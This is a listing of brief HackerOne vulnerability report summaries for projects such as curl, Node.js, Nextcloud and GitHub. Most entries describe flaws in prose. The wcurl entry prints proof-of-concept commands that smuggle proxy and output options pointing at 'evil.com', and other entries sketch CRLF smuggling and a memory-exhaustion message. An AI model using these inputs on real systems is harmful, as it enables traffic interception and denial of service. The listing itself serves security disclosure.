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Hacker One
Hacker One
•added 2026/02/10 2:51 p.m.•9 views

Cosmos: IBC2 Entry Points Skip SetupContractCost - Systematic Gas Underpricing

Vulnerability description not provided...

5.8AI score
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Hacker One
Hacker One
•added 2026/02/10 1:35 p.m.•50 views

Monero: Inverted ternary in peerlist_manager::filter() allows unlimited whitelist entries per host via different ports

The peerlistmanager::filter function in the Monero project's p2p/netpeerlist.h file contained an incorrect ternary operator that operated on the wrong peer list. When called with 'white=true', it filtered the gray list instead of the white list. As a result, a single host could accumulate unlimit...

5.8AI score
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Hacker One
Hacker One
•added 2026/02/09 8:44 p.m.•26 views

Node.js: Assertion error in node_url.cc via malformed URL format leads to Node.js crash

An assertion error in nodeurl.cc via malformed URL format leads to a Node.js crash. A flaw in the URL processing caused an assertion failure in the native code when url.format was called with a malformed internationalized domain name containing invalid characters, crashing the Node.js process. Th...

6.5CVSS6.5AI score0.0032EPSS
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Hacker One
Hacker One
•added 2026/02/07 3:59 p.m.•35 views

Basecamp: Improper Access Control in `fizzy.do` import flow allows cross-tenant ActionText reference resolution and data disclosure

The vulnerability allowed for cross-tenant ActionText reference resolution and data disclosure during the account import flow. The import process did not properly verify the ownership of the referenced records before minting signed global IDs, enabling an attacker to access and disclose data from...

5.8AI score
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Hacker One
Hacker One
•added 2026/02/06 9:22 p.m.•33 views

RubyGems: Server-side ReDoS via user-controlled regex in OIDC Access Policy

The OIDC Access Policy implementation evaluated user-supplied regular expressions against JWT claim values using Ruby's Regexp engine without any timeout or complexity validation. The vulnerable code path was Regexp.newvalue.match?claimvalue, where value was fully user-controlled and claimvalue w...

5.8AI score
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Hacker One
Hacker One
•added 2026/02/01 3:48 p.m.•13 views

Nextcloud: Activity app does not verify federated file activity received from remote servers

The activity app stored activity content received from remote servers without verifying the content first...

5.8AI score
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Hacker One
Hacker One
•added 2026/02/01 1:35 p.m.•37 views

Node.js: Timing side-channel in HMAC verification via memcmp() in crypto_hmac.cc leads to potential MAC forgery

Vulnerability description not provided...

5.9CVSS6.9AI score0.00385EPSS
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Hacker One
Hacker One
•added 2026/02/01 8:02 a.m.•23 views

Nextcloud: Public collectives allow to create pages

A vulnerability was discovered in the Nextcloud Collectives application that allowed non-members accessing a public collective to create new pages through the backend API, bypassing the collective-level permission settings configured to restrict editing to administrators only. The vulnerability w...

5.8AI score
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Hacker One
Hacker One
•added 2026/01/30 2:35 p.m.•26 views

Node.js: Memory leak in Node.js HTTP/2 server via WINDOW_UPDATE on stream 0 leads to resource exhaustion

Vulnerability description not provided...

5.3CVSS6.7AI score0.00454EPSS
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Hacker One
Hacker One
•added 2026/01/30 7:05 a.m.•64 views

curl: MQTT Protocol Packet Injection via Unchecked CONNACK Remaining Length

I'm not sure if this is a vulnerability or intended behavior, but I noticed that curl MQTT implementation accepts CONNACK packets with Remaining Length values greater than 2, which appears to violate the MQTT v3.1.1 specification. According to the MQTT spec, CONNACK packets should have a Remainin...

5.9AI score
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Hacker One
Hacker One
•added 2026/01/27 11:52 p.m.•20 views

GitHub: Add labels to arbitrary issues/prs via Memex Bulk Update to compromise github actions label gating

A vulnerability was identified in GitHub Enterprise Server that allowed a user with read access to a repository and write access to a project to modify issue and pull request metadata through the project. When adding an item to a project that already existed, column value updates were applied...

5.3CVSS5.8AI score0.00444EPSS
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Hacker One
Hacker One
•added 2026/01/27 11:26 p.m.•41 views

GitHub: Add labels to arbitrary issues/prs & compromise github actions label checks

A vulnerability was identified that allowed a user with read access to a repository and write access to a project to modify issue and pull request metadata through the project. When adding an item to a project that already existed, column value updates were applied without verifying the actor's...

5.3CVSS5.8AI score0.00444EPSS
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Hacker One
Hacker One
•added 2026/01/26 11:03 a.m.•34 views

Fastify: DoS via Unbounded Memory Allocation in sendWebStream on Fastify v5.7.0+ leads to OOM crash when backpressure is ignored

A vulnerability was discovered in Fastify versions 5.7.0 and later. The issue was in the "sendWebStream" function, which failed to handle TCP backpressure correctly. When a ReadableStream was sent as a response, Fastify continuously pulled data from the stream producer and wrote it to the respons...

3.7CVSS5.8AI score0.00554EPSS
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Hacker One
Hacker One
•added 2026/01/25 4:20 p.m.•55 views

curl: wcurl Argument Injection via Unquoted Variable

when i was code auditing curl i stumbled uppon a vulnerablity that was on wcurl affected version:current step 1: open terminal step 2:run pocs below wcurl --dry-run --curl-options='-x http://evil.com:8080 -o /tmp/pwned' https://example.com/test.txt wcurl --dry-run --curl-options='-o...

6AI score
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Hacker One
Hacker One
•added 2026/01/25 11:41 a.m.•28 views

Tucows (VDP): Password Strength Policy Bypass via Server-Side Validation Flaw

A password strength policy bypass was discovered due to a server-side validation flaw. The password strength policy was only enforced in the browser, not on the server side...

5.9AI score
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Hacker One
Hacker One
•added 2026/01/25 12:02 a.m.•33 views

curl: Integer Underflow in src/var.c

Summary: A potential Integer Underflow vulnerability was identified in the setvariable function within src/var.c. the flaw occurs during the calculation of the variable content length clen when a byte range is specified. specifically, the code fails to validate if startoffset is greater than...

5.9AI score
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Hacker One
Hacker One
•added 2026/01/23 7:13 p.m.•38 views

GitHub: PATs without the required scope can leak issues

An Incorrect Authorization vulnerability was identified in GitHub Enterprise Server that allowed an authenticated user with a classic personal access token PAT lacking the repo scope to retrieve issues and commits from private and internal repositories via the search REST API endpoints. The user...

5.3CVSS5.8AI score0.00418EPSS
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Hacker One
Hacker One
•added 2026/01/23 5:35 p.m.•18 views

DuckDuckGo: SSRF with bypass leads to client side hosting / vulnerabilities ( XSS and others )

The web application was found to be vulnerable to server-side request forgery SSRF. The SSRF vulnerability was discovered through testing with an HTTP interception proxy. The vulnerability allowed an attacker to make arbitrary HTTP requests from the server, which could potentially lead to...

6AI score
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Hacker One
Hacker One
•added 2026/01/23 8:47 a.m.•31 views

Nextcloud: Missing Duplicate Check allowing Multiple Retention Rules per System Tag

A bug allowed admins to create multiple retention rules for the same tag, causing potential confusion for other admins...

5.8AI score
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Hacker One
Hacker One
•added 2026/01/23 8:40 a.m.•22 views

Nextcloud: Improper Input Validation and Integer Overflow in timeamount parameter of files_retention app

The timeamount parameter of the filesretention app lacked proper input validation, allowing an administrator to store an unintended long time amount as the retention period. This vulnerability could have potentially led to files never getting deleted...

5.9AI score
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Hacker One
Hacker One
•added 2026/01/23 4:07 a.m.•34 views

Nextcloud: View-only guests could see deleted Collectives pages in the trashbin

A vulnerability was discovered where view-only guests could see deleted Collectives pages in the trashbin...

2.6CVSS5.8AI score0.00306EPSS
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Hacker One
Hacker One
•added 2026/01/21 3:07 a.m.•28 views

Nextcloud: IDOR on ██████ via direct photo URL leads to unauthorized access to deleted and other users' photos

Summary: An Insecure Direct Object Reference IDOR vulnerability exists in the application that allows unauthorized access to photos belonging to other users. The application does not properly validate whether the logged-in user is authorized to access a photo when accessing it via direct URL. Thi...

5.9AI score
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Hacker One
Hacker One
•added 2026/01/20 9:29 p.m.•33 views

Weblate: Argument Injection in /manage/ssh/ via host parameter leads to sensitive file disclosure on Weblate

A vulnerability was discovered in the SSH management interface of Weblate, a web-based translation tool. The vulnerability allowed an attacker with administrative privileges to inject command-line arguments into the host parameter, leading to sensitive file disclosure on the server. The vulnerabl...

9.1CVSS5.9AI score0.00519EPSS
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Hacker One
Hacker One
•added 2026/01/19 8:10 p.m.•77 views

curl: SSL options ISSUERCERT, EC_CURVES and CRLFILE silently ignored by non-OpenSSL backends

Summary: The SSL options ISSUERCERT, ECCURVES and CRLFILE are silently ignored for e.g. the mbedTLS backend, which allows MITM attacks for the ISSUERCERT and CRLFILE bug, and can reduce the security and compliance by ignoring the specified curve for the ECCURVES bug. Affected version Tested with...

5.8AI score
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Hacker One
Hacker One
•added 2026/01/19 6:46 p.m.•49 views

curl: Cross‑origin cookies leak and injection risk when using a custom Host header

Summary When a custom hostname is specified, it is used for cookie matching if the cookie engine is also enabled for this transfer. This matching persists in cross-origin redirects despite that the originally supplied hostname is removed. cookiehost is set from a custom Host header: lib/http.c...

5.7AI score
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Hacker One
Hacker One
•added 2026/01/19 10:27 a.m.•45 views

curl: Cookie Replacement Use-After-Free Vulnerability

Summary: The cookie replacement logic in lib/cookie.c contains a use-after-free vulnerability in the replaceexisting function. The function modifies a linked list while iterating over it, creating potential for memory corruption in concurrent or complex cookie operations. Vulnerable Code Location...

6.1AI score
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Hacker One
Hacker One
•added 2026/01/19 10:12 a.m.•37 views

curl: Cookie Max-Age Integer Overflow Vulnerability

Summary: The cookie parsing code in lib/cookie.c contains an integer overflow vulnerability when processing the Max-Age attribute of HTTP cookies. The vulnerable code attempts to add the max-age value to the current timestamp without adequate overflow protection While the code includes an overflo...

5.7AI score
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Hacker One
Hacker One
•added 2026/01/18 4:00 p.m.•34 views

Monero: Loss of multisig funds through single malicious participant's deliberate deception

A vulnerability was discovered in the Monero multisig implementation. A single malicious participant of a multisig could trick other users into sending funds multiple times to a certain recipient, which could not be easily distinguished from a legitimate user action. This issue was caused by the...

5.5AI score
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Hacker One
Hacker One
•added 2026/01/17 2:59 p.m.•39 views

Rocket.Chat: Unauthenticated Path Traversal (LFI) via /custom-sounds/ when CustomSounds uses FileSystem storage

Vulnerability description not provided...

7.5CVSS7.2AI score0.00601EPSS
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Hacker One
Hacker One
•added 2026/01/17 11:59 a.m.•50 views

Sony: Improper State Validation on Sony WH-CH520 via BLE Command Service leads to unauthorized Bluetooth pairing and audio hijacking

A vulnerability was discovered in the firmware of the Sony WH-CH520 headset. The vulnerability allowed an unauthenticated write to a proprietary Sony command service via Bluetooth Low Energy BLE, causing the device to become discoverable and accept a standard Bluetooth Security Manager Protocol S...

7.1CVSS7.5AI score0.08411EPSS
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Hacker One
Hacker One
•added 2026/01/17 7:52 a.m.•76 views

curl: libcurl: Improper Authentication State Management on Cross-Protocol Redirects

Following the recent advisory for CVE-2025-14524, I conducted an investigation into how libcurl manages OAuth2 credentials during complex redirect chains. I have confirmed that while the library successfully protects traditional user credentials, it fails to clear OAuth2 Bearer tokens in the same...

5.7CVSS6.5AI score0.0201EPSS
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Hacker One
Hacker One
•added 2026/01/17 3:04 a.m.•36 views

AWS VDP: Password Reuse Vulnerability on AWS Sign-in Page via Password Reset Flow leads to Security Policy Violation

Asset URL: ██████ Summary: The AWS sign-in page allows users to reuse old passwords when resetting their password, which violates security best practices outlined in OWASP Authentication Cheat Sheet and NIST 800-63B Digital Identity Guidelines. This misconfiguration could potentially weaken accou...

5.6AI score
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Hacker One
Hacker One
•added 2026/01/16 4:00 p.m.•30 views

Nextcloud: Unauthenticated testing endpoint of notify_push expose internal IP

The testing endpoint of the notifypush component exposed internal IP addresses to unauthenticated users...

5.8AI score
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Hacker One
Hacker One
•added 2026/01/16 4:43 a.m.•36 views

Nextcloud: Private circle can be added to another circle via API despite visibility restriction

A vulnerability was discovered where private circles could be added to other circles via the API, despite visibility restrictions...

2.6CVSS5.8AI score0.00306EPSS
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Hacker One
Hacker One
•added 2026/01/15 10:00 p.m.•24 views

Node.js: HashDoS in V8

Vulnerability description not provided...

5.9CVSS6.8AI score0.00268EPSS
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Hacker One
Hacker One
•added 2026/01/14 3:27 p.m.•40 views

Cosmos: Memory Exhaustion in CometBFT v1.0.1 via malicious ProposalMessage leads to network-wide denial of service

Summary of Impact CometBFT v1.0.1 contains a critical memory exhaustion vulnerability that allows any peer to crash nodes with a single 50-byte P2P message. An attacker can send a malicious ProposalMessage with PartSetHeader.Total set to 2^32-1, causing the receiving node to immediately allocate...

6AI score
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Hacker One
Hacker One
•added 2026/01/14 5:02 a.m.•55 views

GoCD: Information Disclosure via Logback Configuration Injection in GoCD Agent

Summary The GoCD Agent's logging mechanism Logback allows for property substitution and custom configuration loading. By default, the config directory might not exist in the installation path. However, if an attacker creates this directory and places a specially crafted agent-launcher-logback.xml...

5.6AI score
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Hacker One
Hacker One
•added 2026/01/13 9:02 p.m.•44 views

curl: Directory listing vulnerability is disclosing names and emails, widespread (thousands of records, publicly accessible without auth)

Summary: directory listing vulnerability is disclosing names and emails and so many other sensitive information, that significantly increases the severity because these are considered as PII Personally Identifiable Information. Thousands of records, publicly accessible without auth also can be...

6.7AI score
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Hacker One
Hacker One
•added 2026/01/13 8:07 p.m.•34 views

curl: IMAP Protocol Desynchronization and Response Smuggling via Naive Literal Parsing

libcurl incorrectly parses IMAP literals size even when they are embedded within quoted strings e.g., email subjects or headers. This behavior violates RFC 3501, which mandates that content inside double quotes must be treated as opaque text. This parsing error causes the client state machine to...

7AI score
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Hacker One
Hacker One
•added 2026/01/13 2:31 p.m.•28 views

curl: MQTT: unsigned integer underflow bypasses MAX_MQTT_MESSAGE_SIZE check

Summary An unsigned integer underflow exists in libcurl's MQTT publish path. Due to incorrect arithmetic ordering in the size validation logic, oversized MQTT PUBLISH messages are not rejected as intended. Affected version libcurl 8.18.0 Tested on macOS arm64 with AddressSanitizer enabled. Steps ...

7.3AI score
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Hacker One
Hacker One
•added 2026/01/13 2:28 p.m.•6 views

Nextcloud: Application Data Hiding via Invalid `iconName` Causing Frontend Crash in Nextcloud Tables

A vulnerability was discovered in the Tables application where invalid icon names were accepted by the backend without validation. When an invalid icon name was submitted, the frontend would crash during rendering, causing application data to become inaccessible to users. The issue stemmed from...

5.9AI score
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Hacker One
Hacker One
•added 2026/01/13 1:30 p.m.•38 views

curl: Digest Authentication Header Injection

Summary The Digest authentication implementation in libcurl fails to properly escape the uri parameter in the Authorization header. While other parameters like username, realm, and nonce are correctly escaped using authdigeststringquoted, the uri is inserted raw into the header. This allows an...

7.5AI score
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Hacker One
Hacker One
•added 2026/01/13 1:16 p.m.•35 views

curl: Gopher Protocol Command Injection (SSRF Smuggling)

Summary The curl Gopher protocol handler is vulnerable to command injection through URL-encoded CRLF sequences in the path. This allows an attacker to "smuggle" additional Gopher selectors or arbitrary commands into a single Gopher request. By using %0d%0a in the URL, an attacker can break the...

8.1AI score
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Hacker One
Hacker One
•added 2026/01/13 11:39 a.m.•28 views

curl: Use-After-Free in curl_easy_nextheader when reusing header handle across requests

. The API returns struct curlheader objects that internally reference libcurl-owned linked list nodes. When a new request is performed on the same CURL handle, libcurl frees and rebuilds the internal header list, but previously returned struct curlheader objects remain valid to the application an...

7.8AI score
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Hacker One
Hacker One
•added 2026/01/13 7:12 a.m.•31 views

curl: integer Overflow in MQTT Protocol Handling Allows Bypassing Message Size Limit

Summary: A logic error involving an integer overflow specifically, an unsigned integer underflow exists in the lib/mqtt.c file within the mqttpublish function. This vulnerability allows an attacker or a malicious user configuration to bypass the explicit MAXMQTTMESSAGESIZE check. The vulnerabilit...

7.3AI score
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Hacker One
Hacker One
•added 2026/01/13 12:50 a.m.•36 views

curl: Integer-underflow leads to heap over-read in TFTP implementation

libcurl on commit 3ee1d3b573e6ea36fb478dbd0d9913483b900928 contains a vulnerability in its TFTP implementation that can cause curl or a libcurl-user to send heap memory beyond the bounds of an allocated chunk to a malicious TFTP server. The vulnerability lies in lib/tftp.c, in function...

6.8AI score
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Hacker One
Hacker One
•added 2026/01/12 3:58 a.m.•39 views

Nextcloud: Email Enumeration via Password-Protected Share Identity Verification

The vulnerability allowed email enumeration through password-protected share identity verification. Requesting a password for an email share resulted in different response messages depending on whether the email address was the intended recipient, enabling confirmation of the share recipient...

5.8AI score
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Hacker One
Hacker One
•added 2026/01/12 2:25 a.m.•33 views

MetaMask: Authorization Bypass in Starknet Snap via enableAuthorize parameter leads to unauthorized transaction signing

A critical security vulnerability was discovered in the Starknet Snap by Consensys. The vulnerability allowed malicious websites to bypass user authorization when signing messages or transactions. The vulnerability existed in the enableAuthorize parameter, which could be controlled by any website...

5.6AI score
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Hacker One
Hacker One
•added 2026/01/11 4:52 p.m.•19 views

Nextcloud: Shared smart albums in the Photos app can expose files outside the album owner's configured source folders

A path scope validation vulnerability was discovered in a photo application's filter system. When users accessed shared smart albums owned by other users, the system used the accessing user's configured source folders to determine which paths were searched in the owner's folder structure. This...

6.5CVSS6.6AI score0.00377EPSS
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Hacker One
Hacker One
•added 2026/01/10 7:52 p.m.•31 views

GitHub: Missing Access Control in MigrationFile allows attacker to upload files to any Migration

A Missing Authorization vulnerability was identified in GitHub Enterprise Server that allowed unauthorized content to be uploaded to a user's repository migration export due to a missing authorization check in the repository migration upload endpoint. The vulnerability could be exploited by...

6.5CVSS5.9AI score0.00457EPSS
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Total number of security vulnerabilities15693